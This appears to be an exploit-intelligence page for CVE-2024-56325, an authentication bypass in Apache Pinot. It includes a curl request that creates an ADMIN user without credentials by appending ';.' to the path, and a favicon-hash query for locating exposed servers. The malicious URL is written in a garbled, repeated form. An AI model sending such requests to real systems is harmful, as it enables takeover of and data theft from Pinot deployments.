Apache Pinot < 1.3.0 - Authentication Bypass via Path Manipulation
Title source: llmExploitation Summary
EIP tracks 1 public exploit for CVE-2024-56325. PoCs published by exploitintel. A Nuclei detection template is also available.
AI-analyzed exploit summary The repository contains functional exploit code demonstrating an authentication bypass vulnerability in Apache Pinot via matrix parameter injection. The PoC scripts bypass authentication by appending a matrix parameter containing a dot (e.g., `;.`) to API endpoints, allowing unauthenticated access to create admin users and exfiltrate data.
Description
Authentication Bypass Issue If the path does not contain / and contain., authentication is not required. Expected Normal Request and Response Example curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users Return: {"code":401,"error":"HTTP 401 Unauthorized"} Malicious Request and Response Example curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; . Return: {"users":{}} A new user gets added bypassing authentication, enabling the user to control Pinot.
Exploits (1)
The repository contains functional exploit code demonstrating an authentication bypass vulnerability in Apache Pinot via matrix parameter injection. The PoC scripts bypass authentication by appending a matrix parameter containing a dot (e.g., `;.`) to API endpoints, allowing unauthenticated access to create admin users and exfiltrate data.
Nuclei Templates (1)
http.favicon.hash:1696974531
References (2)
Scores
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H